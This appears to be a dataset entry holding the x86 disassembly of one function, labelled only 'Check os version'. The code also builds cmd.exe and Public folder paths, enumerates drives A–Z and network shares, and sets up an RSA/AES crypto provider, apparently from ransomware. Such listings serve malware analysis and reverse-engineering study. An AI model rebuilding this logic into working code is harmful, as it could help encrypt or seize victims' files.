Function at 0x30002680
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x9c8
push esi
push edi
xor eax, eax
lea edi, [esp + 0xe8]
mov ecx, 0x45
rep stosd dword es:[edi], eax
lea eax, [esp + 0xe8]
mov dword [esp + 0xe8], 0x114
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
xor eax, eax
cmp dword [esp + 0xec], 5
push 0x64
sete al
push 0x30025418
mov dword [0x300266f0], eax
call dword [0x30026438]
mov edx, str.System32cmd.exe
mov ecx, 0x30025418
call fcn.30001a70
xor eax, eax
mov ecx, 0xa0
push 0x140
mov edi, 0x30026460
rep stosd dword es:[edi], eax
push 0x30026460
call dword [0x30026438]
xor eax, eax
mov ecx, 0x30026460
cmp dword [0x300266f0], 1
mov edx, str.Documents_and_SettingsDefault_User_
mov word [0x30026464], ax
je 0x30002723
mov edx, str.usersPublic_
call fcn.30001a70
cmp word [0x30026462], 0
mov ecx, 1
je 0x30002750
nop word [eax + eax]
inc ecx
cmp word [ecx*2 + 0x30026460], 0
jne 0x30002740
test ecx, ecx
je 0x30002763
shr ecx, 1
mov esi, 0x30026460
mov edi, 0x303809a8
rep movsd dword es:[edi], dword [esi]
adc ecx, ecx
rep movsw word es:[edi], word [esi]
mov edx, str.PUBLIC
mov ecx, 0x303809a8
call fcn.30001a70
call fcn.30002570
call fcn.300012b0
push 0x3e8
call dword [0x303809a0]
call fcn.30001b00
xor eax, eax
mov ecx, 0x9c4
mov edi, 0x3037e280
rep stosd dword es:[edi], eax
call dword [0x3038099c]
movaps xmm0, xmmword [0x3001cb60]
xor edi, edi
mov dword [esp + 0xc], eax
movups xmmword [esp + 0x54], xmm0
mov dword [esp + 0x64], 1
mov dword [esp + 0x68], 6
lea edx, [edi + 0x3a]
mov dword [esp + 0x6c], 0
nop dword [eax]
mov esi, 0x1a
mov ecx, esi
shr eax, cl
test al, 1
je 0x30002845
lea eax, [esi + 0x41]
mov dword [0x3037e282], 0x3a
push 0x3037e280
mov word [0x3037e280], ax
call dword [0x30025488]
cmp eax, dword [esp + edi*4 + 0x54]
jne 0x3000281f
push dword [0x30380994]
mov edx, 1
mov ecx, 0x3037e280
push dword [0x30026448]
call fcn.300036c0
add esp, 8
cmp edi, 6
jne 0x30002840
push dword [0x30380994]
lea edx, [edi - 5]
mov ecx, 0x3037e280
push dword [0x30026448]
call fcn.300036c0
add esp, 8
mov edx, 0x3a
mov eax, dword [esp + 0xc]
dec esi
test esi, esi
jg 0x300027d5
inc edi
cmp edi, 7
jl 0x300027d0
cmp dword [0x300266f0], 0
jne 0x30002cb7
push 1
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push 0
call dword [0x30026434]
push 4
push 0x1000
push dword [esp + 0x14]
push 0
call dword [0x30025408]
mov esi, eax
lea eax, [esp + 0xc]
push 1
push eax
push esi
mov dword [esp + 0x58], esi
call dword [0x30026434]
mov ecx, dword [esi]
push 4
push 0x1000
lea ecx, [ecx + ecx*2]
shl ecx, 3
push ecx
push 0
call dword [0x30025408]
push 0x4000
push 0x40
mov dword [esp + 0x58], eax
call dword [0x30026454]
mov dword [esp + 0x48], eax
xor eax, eax
mov dword [esp + 0x1c], eax
cmp dword [esi], eax
jbe 0x30002bfe
lea edi, [eax + 0x2e]
lea eax, [eax + eax*2]
xorps xmm0, xmm0
cmp dword [esi + eax*8 + 8], 0
movaps xmmword [esp + 0x20], xmm0
movaps xmmword [esp + 0x30], xmm0
je 0x30002bed
mov eax, dword [esi + eax*8 + 0x14]
lea edx, [esp + 0x10]
push ecx
movzx ecx, al
mov dword [esp + 0x1c], eax
movq qword [esp + 0x14], xmm0
call fcn.30001840
add esp, 4
mov ecx, 1
cmp word [esp + 0x12], 0
je 0x30002934
inc ecx
cmp word [esp + ecx*2 + 0x10], 0
jne 0x30002927
test ecx, ecx
je 0x30002945
shr ecx, 1
lea esi, [esp + 0x10]
lea edi, [esp + 0x20]
rep movsd dword es:[edi], dword [esi]
adc ecx, ecx
rep movsw word es:[edi], word [esi]
cmp word [esp + 0x22], 0
mov eax, 1
je 0x30002960
inc eax
cmp word [esp + eax*2 + 0x20], 0
jne 0x30002952
nop dword [eax + eax]
mov edi, dword [esp + 0x18]
lea edx, [esp + 0x10]
mov dword [esp + eax*2 + 0x20], 0x2e
xor ecx, ecx
mov eax, edi
xorps xmm0, xmm0
shr eax, 8
movzx esi, al
push ecx
mov ecx, esi
movq qword [esp + 0x14], xmm0
call fcn.30001840
add esp, 4
lea ecx, [esp + 0x20]
mov edx, 0x3001a7fc
test esi, esi
je 0x3000299f
lea edx, [esp + 0x10]
call fcn.30001a70
cmp word [esp + 0x22], 0
mov eax, 1
je 0x300029c0
inc eax
cmp word [esp + eax*2 + 0x20], 0
jne 0x300029b1
nop word [eax + eax]
mov dword [esp + eax*2 + 0x20], 0x2e
lea edx, [esp + 0x10]
mov eax, edi
xor ecx, ecx
shr eax, 0x10
xorps xmm0, xmm0
movzx esi, al
push ecx
mov ecx, esi
movq qword [esp + 0x14], xmm0
call fcn.30001840
add esp, 4
lea ecx, [esp + 0x20]
mov edx, 0x3001a7fc
test esi, esi
je 0x300029fb
lea edx, [esp + 0x10]
call fcn.30001a70
cmp word [esp + 0x22], 0
mov eax, 1
je 0x30002a20
nop dword [eax]
inc eax
cmp word [esp + eax*2 + 0x20], 0
jne 0x30002a10
nop dword [eax]
mov dword [esp + eax*2 + 0x20], 0x2e
lea edx, [esp + 0x10]
mov eax, dword [esp + 0x18]
xor ecx, ecx
shr eax, 0x18
xorps xmm0, xmm0
push ecx
mov ecx, eax
movq qword [esp + 0x14], xmm0
mov dword [esp + 0x1c], eax
call fcn.30001840
mov edi, dword [esp + 0x1c]
lea ecx, [esp + 0x24]
add esp, 4
mov edx, 0x3001a7fc
test edi, edi
je 0x30002a62
lea edx, [esp + 0x10]
call fcn.30001a70
movaps xmmword [esp + 0x70], xmm0
mov ecx, 1
movaps xmmword [esp + 0x80], xmm0
movaps xmmword [esp + 0x90], xmm0
movaps xmmword [esp + 0xa0], xmm0
movaps xmmword [esp + 0xb0], xmm0
movaps xmmword [esp + 0xc0], xmm0
mov dword [esp + 0xd0], 0
inc ecx
cmp word [ecx*2 + 0x3001a800], 0
jne 0x30002aa4
test ecx, ecx
je 0x30002ac6
shr ecx, 1
lea edi, [esp + 0x70]
mov esi, 0x3001a800
rep movsd dword es:[edi], dword [esi]
adc ecx, ecx
rep movsw word es:[edi], word [esi]
cmp word [esp + 0x72], 0
mov edx, 1
je 0x30002adc
inc edx
cmp word [esp + edx*2 + 0x70], 0
jne 0x30002ad3
cmp word [esp + 0x22], 0
mov eax, 1
je 0x30002af9
nop dword [eax]
inc eax
cmp word [esp + eax*2 + 0x20], 0
jne 0x30002af0
xor ecx, ecx
test eax, eax
je 0x30002b17
lea edi, [esp + 0x70]
mov ecx, eax
shr ecx, 1
lea edi, [edi + edx*2]
lea esi, [esp + 0x20]
rep movsd dword es:[edi], dword [esi]
adc ecx, ecx
rep movsw word es:[edi], word [esi]
mov ecx, eax
mov esi, dword [esp + 0x48]
lea eax, [edx + ecx]
xor ecx, ecx
mov edi, 0x30025490
mov word [esp + eax*2 + 0x70], cx
mov edx, 0x30025490
lea eax, [esp + 0x70]
mov dword [esi + 4], ecx
mov dword [esi + 8], ecx
mov dword [esi + 0x18], ecx
mov ecx, 0x3e8
mov dword [esi + 0x14], eax
xor eax, eax
mov dword [esi], 2
mov dword [esi + 0xc], 2
rep stosd dword es:[edi], eax
mov ecx, esi
call fcn.30003e80
xor eax, eax
mov ecx, 0x9c4
mov edi, 0x3037e280
rep stosd dword es:[edi], eax
xor ecx, ecx
lea esi, [eax + 1]
nop
cmp word [0x30025492], 0
mov eax, 1
je 0x30002b8c
nop
inc eax
cmp word [eax*2 + 0x30025490], 0
jne 0x30002b80
cmp esi, eax
jge 0x30002be4
movzx eax, word [esi*2 + 0x30025490]
cmp eax, 0x3b
je 0x30002ba9
mov word [ecx*2 + 0x3037e280], ax
inc ecx
inc esi
jmp 0x30002b70
mov ecx, 0x3037e280
call fcn.30002490
push dword [0x30380994]
mov edx, 1
mov ecx, 0x3037e280
push dword [0x30026448]
call fcn.300036c0
xor eax, eax
mov ecx, 0x9c4
mov edi, 0x3037e280
add esp, 8
rep stosd dword es:[edi], eax
xor ecx, ecx
inc esi
jmp 0x30002b70
mov esi, dword [esp + 0x4c]
mov edi, 0x2e
mov eax, dword [esp + 0x1c]
inc eax
mov dword [esp + 0x1c], eax
cmp eax, dword [esi]
jb 0x300028e1
push 0x8000
push 0
push esi
call dword [0x30026450]
push 0x8000
push 0
push dword [esp + 0x58]
call dword [0x30026450]
push dword [0x30380994]
call dword [0x30380f20]
cmp dword [0x300266f0], 0
push 0x10
push 0x18
je 0x30002c53
push str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider__Prototype_
push str.AES_unique_
push 0x30026448
call dword [0x300253f8]
test eax, eax
jne 0x30002c68
push 0x10
push 0x18
push str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
push str.AES_unique_
push 0x30026448
call dword [0x300253f8]
call fcn.30004a70
push dword [0x3037e274]
call dword [0x300266e8]
push dword [0x30380998]
call dword [0x300266e8]
push dword [0x3002547c]
call dword [0x300266e8]
push dword [0x3002548c]
call dword [0x300266e8]
push dword [0x300266e0]
call dword [0x300266e8]
push 1
call dword [0x3037e268]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x4000
push 0x40
call dword [0x30026454]
mov esi, eax
lea edi, [esp + 0x200]
xor eax, eax
lea edx, [esp + 0x200]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov ecx, esi
call fcn.30003e80
xor eax, eax
mov ecx, 0x9c4
mov edi, 0x3037e280
rep stosd dword es:[edi], eax
xor ecx, ecx
lea esi, [eax + 1]
nop word [eax + eax]
cmp word [esp + 0x202], 0
mov eax, 1
je 0x30002d1c
inc eax
cmp word [esp + eax*2 + 0x200], 0
jne 0x30002d10
cmp esi, eax
jge 0x30002c1d
movzx eax, word [esp + esi*2 + 0x200]
cmp eax, 0x3b
je 0x30002d3d
mov word [ecx*2 + 0x3037e280], ax
inc ecx
inc esi
jmp 0x30002d00
mov ecx, 0x3037e280
call fcn.30002490
push dword [0x30380994]
mov edx, 1
mov ecx, 0x3037e280
push dword [0x30026448]
call fcn.300036c0
xor eax, eax
mov ecx, 0x9c4
mov edi, 0x3037e280
add esp, 8
rep stosd dword es:[edi], eax
xor ecx, ecx
inc esi
jmp 0x30002d00